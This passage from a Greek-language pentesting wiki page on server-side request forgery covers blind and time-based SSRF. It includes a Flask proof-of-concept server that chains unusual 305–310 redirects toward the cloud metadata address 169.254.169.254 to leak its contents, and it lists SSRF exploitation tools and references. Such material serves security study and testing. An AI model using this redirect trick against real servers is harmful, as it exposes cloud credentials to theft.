Η διαφορά μεταξύ ενός blind SSRF και ενός μη blind είναι ότι στο blind δεν μπορείτε να δείτε την απάντηση του SSRF request. Έτσι, είναι πιο δύσκολο να εκμεταλλευτείτε γιατί θα μπορείτε να εκμεταλλευτείτε μόνο γνωστές ευπάθειες.
|
||
|
||
### Time based SSRF
|
||
|
||
**Ελέγχοντας τον χρόνο** των απαντήσεων από τον διακομιστή μπορεί να είναι **δυνατό να γνωρίζετε αν υπάρχει ή όχι μια πηγή** (ίσως να χρειάζεται περισσότερος χρόνος για να αποκτήσετε πρόσβαση σε μια υπάρχουσα πηγή από ότι σε μια που δεν υπάρχει)
|
||
|
||
### Από blind σε πλήρη εκμετάλλευση κωδικών κατάστασης
|
||
|
||
Σύμφωνα με αυτήν την [**ανάρτηση στο blog**](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/), μερικά blind SSRF μπορεί να συμβούν γιατί ακόμα και αν η στοχοθετημένη URL απαντά με κωδικό κατάστασης 200 (όπως τα AWS metadata), αυτά τα δεδομένα δεν είναι σωστά μορφοποιημένα και επομένως η εφαρμογή μπορεί να αρνηθεί να τα δείξει.
|
||
|
||
Ωστόσο, διαπιστώθηκε ότι στέλνοντας κάποιες απαντήσεις ανακατεύθυνσης από 305 έως 309 στο SSRF μπορεί να είναι δυνατό να κάνετε την εφαρμογή **να ακολουθήσει αυτές τις ανακατευθύνσεις ενώ εισέρχεται σε κατάσταση σφάλματος** που δεν θα ελέγχει πλέον τη μορφή των δεδομένων και μπορεί απλώς να τα εκτυπώσει.
|
||
|
||
Ο διακομιστής python που χρησιμοποιείται για να εκμεταλλευτεί αυτό είναι ο εξής:
|
||
```python
|
||
@app.route("/redir")
|
||
def redir():
|
||
count = int(request.args.get("count", 0)) + 1
|
||
# Pump out 305, 306, 307, 308, 309, 310 ...
|
||
weird_status = 301 + count
|
||
if count >= 10: # after 5 “weird” codes
|
||
return redirect(METADATA_URL, 302)
|
||
return redirect(f"/redir?count={count}", weird_status)
|
||
|
||
@app.route("/start")
|
||
def start():
|
||
return redirect("/redir", 302)
|
||
```
|
||
**Βήματα:**
|
||
- Πρώτα το 302 κάνει την εφαρμογή να αρχίσει να ακολουθεί.
|
||
- Στη συνέχεια λαμβάνει 305 → 306 → 307 → 308 → 309 → 310.
|
||
- Μετά τον 5ο παράξενο κωδικό, το PoC τελικά επιστρέφει 302 → 169.254.169.254 → 200 OK.
|
||
|
||
**Τι συμβαίνει μέσα στον στόχο:**
|
||
- Το libcurl ακολουθεί τα 305–310; απλά κανονικοποιεί τους άγνωστους κωδικούς σε “ακολουθία.”
|
||
- Μετά από N παράξενες ανακατευθύνσεις (≥ 5 εδώ) ο δικός του περιτύλιγμα της εφαρμογής αποφασίζει ότι “κάτι δεν πάει καλά” και αλλάζει σε λειτουργία σφάλματος που προορίζεται για αποσφαλμάτωση.
|
||
- Σε αυτή τη λειτουργία, εκτυπώνει ολόκληρη την αλυσίδα ανακατεύθυνσης συν το τελικό σώμα πίσω στον εξωτερικό καλούντα.
|
||
- Αποτέλεσμα: ο επιτιθέμενος βλέπει κάθε κεφαλίδα + το μεταδεδομένο JSON, αποστολή ολοκληρωμένη.
|
||
|
||
Σημειώστε ότι αυτό είναι ενδιαφέρον για να διαρρεύσουν κωδικοί κατάστασης που δεν μπορούσατε να διαρρεύσετε πριν (όπως ένα 200). Ωστόσο, αν με κάποιο τρόπο μπορούσατε επίσης να επιλέξετε τον κωδικό κατάστασης της απάντησης (φανταστείτε ότι μπορείτε να αποφασίσετε ότι τα μεταδεδομένα AWS απαντούν με κωδικό κατάστασης 500), **μπορεί να υπάρχουν κάποιοι κωδικοί κατάστασης που διαρρέουν άμεσα το περιεχόμενο της απάντησης.**
|
||
|
||
## Εκμετάλλευση Cloud SSRF
|
||
|
||
Αν βρείτε μια ευπάθεια SSRF σε μια μηχανή που τρέχει μέσα σε ένα περιβάλλον cloud, μπορεί να είστε σε θέση να αποκτήσετε ενδιαφέρουσες πληροφορίες σχετικά με το περιβάλλον cloud και ακόμη και διαπιστευτήρια:
|
||
|
||
|
||
{{#ref}}
|
||
cloud-ssrf.md
|
||
{{#endref}}
|
||
|
||
## Ευάλωτες Πλατφόρμες SSRF
|
||
|
||
Πολλές γνωστές πλατφόρμες περιέχουν ή έχουν περιέχει ευπάθειες SSRF, ελέγξτε τις σε:
|
||
|
||
|
||
{{#ref}}
|
||
ssrf-vulnerable-platforms.md
|
||
{{#endref}}
|
||
|
||
## Εργαλεία
|
||
|
||
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
|
||
|
||
Εργαλείο για την ανίχνευση και εκμετάλλευση ευπαθειών SSRF
|
||
|
||
### [Gopherus](https://github.com/tarunkant/Gopherus)
|
||
|
||
- [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
|
||
|
||
Αυτό το εργαλείο δημιουργεί payloads Gopher για:
|
||
|
||
- MySQL
|
||
- PostgreSQL
|
||
- FastCGI
|
||
- Redis
|
||
- Zabbix
|
||
- Memcache
|
||
|
||
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||
|
||
- [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||
|
||
_remote-method-guesser_ είναι ένας σαρωτής ευπαθειών _Java RMI_ που υποστηρίζει επιθέσεις για τις πιο κοινές ευπάθειες _Java RMI_. Οι περισσότερες από τις διαθέσιμες λειτουργίες υποστηρίζουν την επιλογή `--ssrf`, για να δημιουργήσουν ένα payload _SSRF_ για την ζητούμενη λειτουργία. Μαζί με την επιλογή `--gopher`, έτοιμα προς χρήση payloads _gopher_ μπορούν να παραχθούν άμεσα.
|
||
|
||
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
|
||
|
||
Το SSRF Proxy είναι ένας πολυνηματικός HTTP proxy server σχεδιασμένος να σήμανε την κίνηση HTTP του πελάτη μέσω HTTP servers που είναι ευάλωτοι σε Server-Side Request Forgery (SSRF).
|
||
|
||
### Για πρακτική
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
|
||
{{#endref}}
|
||
|
||
## Αναφορές
|
||
|
||
- [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
|
||
- [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
|
||
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|